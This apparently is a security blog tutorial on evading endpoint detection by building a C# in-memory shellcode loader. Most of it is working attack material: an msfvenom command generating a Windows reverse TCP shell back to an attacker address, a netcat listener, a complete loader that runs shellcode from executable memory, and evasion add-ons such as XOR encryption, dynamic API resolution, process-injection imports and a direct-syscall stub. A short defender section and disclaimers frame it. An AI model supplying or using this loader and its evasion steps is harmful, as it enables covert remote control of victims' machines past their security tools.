Understanding EDR Evasion Techniques: C# Reverse Shell Implementation
⚠️ Disclaimer: This content is provided strictly for educational purposes to enhance understanding of cybersecurity techniques and defenses. The techniques described here should only be used in authorized security testing environments with explicit permission. Unauthorized use of these methods is illegal and unethical.
Introduction
Modern Endpoint Detection and Response (EDR) solutions have become increasingly sophisticated in detecting malicious activities. Understanding how attackers bypass these protections is crucial for defenders to build better security controls. This guide explores the technical implementation of a C# reverse shell that uses in-memory execution techniques to evade traditional security measures.
Core Concepts
In-Memory Execution
Traditional malware often writes files to disk, making detection easier for antivirus solutions. In-memory execution avoids this by:
- Allocating executable memory directly
- Writing shellcode to allocated memory
- Executing code without touching the disk
- Leaving minimal forensic artifacts
Windows API Functions
Three critical Windows API functions enable this technique:
- VirtualAlloc: Allocates memory in the process’s virtual address space
- CreateThread: Creates a thread to execute code
- WaitForSingleObject: Waits for thread completion
Implementation Guide
Step 1: Generate Shellcode with msfvenom
First, generate the shellcode payload using Metasploit’s msfvenom:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=YOUR_IP LPORT=YOUR_PORT -f csharp
This generates C# formatted shellcode for a reverse TCP shell. Key parameters:
-p
: Payload type (reverse TCP shell for Windows x64)LHOST
: Attacker’s IP addressLPORT
: Listening port-f csharp
: Output format compatible with C# byte arrays
Step 2: Set Up a Listener
On the attacker’s machine, establish a listener:
nc -lvnp YOUR_PORT
This creates a netcat listener that will receive the reverse shell connection.
Step 3: Complete C# Implementation
Here’s the full C# implementation with detailed comments:
using System;
using System.Runtime.InteropServices;
namespace ShellcodeLoader
{
class Program
{
// Import necessary Windows API functions
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr VirtualAlloc(
IntPtr lpAddress,
uint dwSize,
uint flAllocationType,
uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr CreateThread(
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
out uint lpThreadId);
[DllImport("kernel32.dll", SetLastError = true)]
static extern uint WaitForSingleObject(
IntPtr hHandle,
uint dwMilliseconds);
// Constants for memory allocation
const uint MEM_COMMIT = 0x1000;
const uint MEM_RESERVE = 0x2000;
const uint PAGE_EXECUTE_READWRITE = 0x40;
const uint INFINITE = 0xFFFFFFFF;
static void Main(string[] args)
{
// Replace this shellcode with the one generated by msfvenom
byte[] shellcode = new byte[] {
/* Your shellcode bytes go here */
// Example format:
// 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00,
// 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
// ... more bytes ...
};
// Allocate memory for the shellcode
IntPtr addr = VirtualAlloc(
IntPtr.Zero, // Let system choose address
(uint)shellcode.Length, // Size of shellcode
MEM_COMMIT | MEM_RESERVE, // Allocation type
PAGE_EXECUTE_READWRITE); // Protection (RWX)
if (addr == IntPtr.Zero)
{
Console.WriteLine("[-] Memory allocation failed.");
return;
}
// Copy shellcode to allocated memory
Marshal.Copy(shellcode, 0, addr, shellcode.Length);
// Create a thread to execute the shellcode
IntPtr hThread = CreateThread(
IntPtr.Zero, // Default security attributes
0, // Default stack size
addr, // Thread start address (shellcode)
IntPtr.Zero, // No parameters
0, // Run immediately
out uint threadId);
if (hThread == IntPtr.Zero)
{
Console.WriteLine("[-] Thread creation failed.");
return;
}
// Wait for the thread to finish execution
WaitForSingleObject(hThread, INFINITE);
}
}
}
Step 4: Compilation
Compile the C# program using the C# compiler:
csc Program.cs
This generates Program.exe
that, when executed on the target system, establishes a reverse shell connection.
Advanced Evasion Techniques
1. Shellcode Encryption
Encrypt shellcode to avoid signature-based detection:
static byte[] XORDecrypt(byte[] data, byte key)
{
byte[] decrypted = new byte[data.Length];
for (int i = 0; i < data.Length; i++)
{
decrypted[i] = (byte)(data[i] ^ key);
}
return decrypted;
}
// Usage
byte[] encryptedShellcode = { /* Encrypted bytes */ };
byte[] shellcode = XORDecrypt(encryptedShellcode, 0xAA);
2. Dynamic API Resolution
Avoid static imports by resolving APIs at runtime:
[DllImport("kernel32.dll")]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll")]
static extern IntPtr LoadLibrary(string lpFileName);
// Dynamically resolve VirtualAlloc
IntPtr kernel32 = LoadLibrary("kernel32.dll");
IntPtr virtualAllocAddr = GetProcAddress(kernel32, "VirtualAlloc");
3. Process Injection
Inject into legitimate processes:
[DllImport("kernel32.dll")]
static extern IntPtr OpenProcess(
int dwDesiredAccess,
bool bInheritHandle,
int dwProcessId);
[DllImport("kernel32.dll")]
static extern IntPtr VirtualAllocEx(
IntPtr hProcess,
IntPtr lpAddress,
uint dwSize,
uint flAllocationType,
uint flProtect);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
uint nSize,
out UIntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(
IntPtr hProcess,
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
out IntPtr lpThreadId);
4. Syscall Techniques
Bypass user-mode hooks using direct syscalls:
// Assembly code for direct NtAllocateVirtualMemory syscall
byte[] syscallStub = {
0x4C, 0x8B, 0xD1, // mov r10, rcx
0xB8, 0x18, 0x00, 0x00, 0x00, // mov eax, 0x18 (syscall number)
0x0F, 0x05, // syscall
0xC3 // ret
};
Detection and Defense
For Defenders
- Memory Scanning: Monitor for RWX memory allocations
- Behavioral Analysis: Track unusual thread creation patterns
- API Monitoring: Log suspicious API call sequences
- Process Relationships: Monitor parent-child process anomalies
- Network Detection: Identify reverse shell traffic patterns
Detection Signatures
Common indicators of this technique:
VirtualAlloc
withPAGE_EXECUTE_READWRITE
- Thread creation pointing to recently allocated memory
- High entropy sections (encrypted shellcode)
- Suspicious network connections from unexpected processes
Mitigation Strategies
- Enforce W^X Policy: Prevent memory from being writable and executable
- API Hooking: Monitor and block suspicious API usage
- Code Integrity: Verify digital signatures of executing code
- Network Segmentation: Limit outbound connections
- Application Control: Whitelist approved applications
Responsible Testing Guidelines
Testing Environment
Always test in controlled environments:
- Isolated virtual machines
- Dedicated security labs
- Authorized penetration testing engagements
- Never on production systems
Legal Compliance
Ensure compliance with:
- Written authorization from system owners
- Applicable laws and regulations
- Organizational security policies
- Ethical hacking guidelines
Documentation
Maintain detailed records of:
- Testing scope and authorization
- Techniques used
- Vulnerabilities discovered
- Remediation recommendations
Educational Resources
Further Reading
- Windows Internals: Understanding Windows memory management
- Malware Analysis: Reverse engineering techniques
- EDR Evasion: Advanced bypass methods
- Secure Coding: Building resilient applications
Recommended Tools
- Process Monitor: Monitor system activity
- WinDbg: Debug and analyze Windows applications
- x64dbg: User-mode debugger
- IDA Pro: Disassembler and debugger
Practice Platforms
- HackTheBox: Legal penetration testing practice
- TryHackMe: Guided security challenges
- VulnHub: Vulnerable VMs for practice
- OWASP WebGoat: Web application security
Ethical Considerations
Red Team Perspective
When conducting authorized security assessments:
- Document all activities thoroughly
- Minimize impact on production systems
- Report findings responsibly
- Provide actionable remediation guidance
Blue Team Perspective
For defenders implementing controls:
- Focus on detection patterns, not specific tools
- Implement defense in depth
- Regular security awareness training
- Continuous monitoring and improvement
Conclusion
Understanding EDR evasion techniques is crucial for both offensive and defensive security professionals. This guide demonstrates how attackers leverage Windows APIs and in-memory execution to bypass traditional security controls. By studying these techniques, defenders can:
- Build more effective detection rules
- Implement appropriate preventive controls
- Respond more effectively to incidents
- Design resilient security architectures
Remember that with great knowledge comes great responsibility. Use these techniques only for legitimate security testing and always prioritize ethical considerations in your security practice.
References
- Microsoft Documentation: Windows API Reference
- MITRE ATT&CK: Process Injection Techniques
- “The Art of Memory Forensics” by Michael Hale Ligh et al.
- “Windows Internals” by Mark Russinovich et al.
- SANS: Advanced Penetration Testing Course Materials